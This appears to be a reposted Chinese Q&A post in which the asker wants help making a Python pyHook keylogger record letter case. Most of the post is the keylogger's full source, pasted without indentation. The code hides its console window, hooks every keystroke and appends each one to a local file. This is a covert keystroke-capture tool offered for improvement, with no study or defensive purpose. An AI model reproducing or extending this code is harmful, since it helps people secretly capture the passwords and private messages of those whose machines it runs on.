如何解决Python pyHook模块键盘记录程序区分大小写
我正在尝试根据我在网上找到的代码编写一个简单的Python键盘记录程序。我具有基本功能,但无法获取区分大小写的日志。键盘事件记录的所有字母均为大写。以下是我正在使用的代码。有人可以建议我如何做代码来记录所记录字母的大小写吗?
import win32api
import win32console
import win32gui
import pythoncom,pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
f = open('C:/Users/Rakesh Mohan/Documents/llavReg/geeksforgeeks/output.txt','a+')
if event.Ascii == 13:
f.write("\n")
else:
klg = event.Key
f.write(klg)
f.close()
return True
# create a hook manager object
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。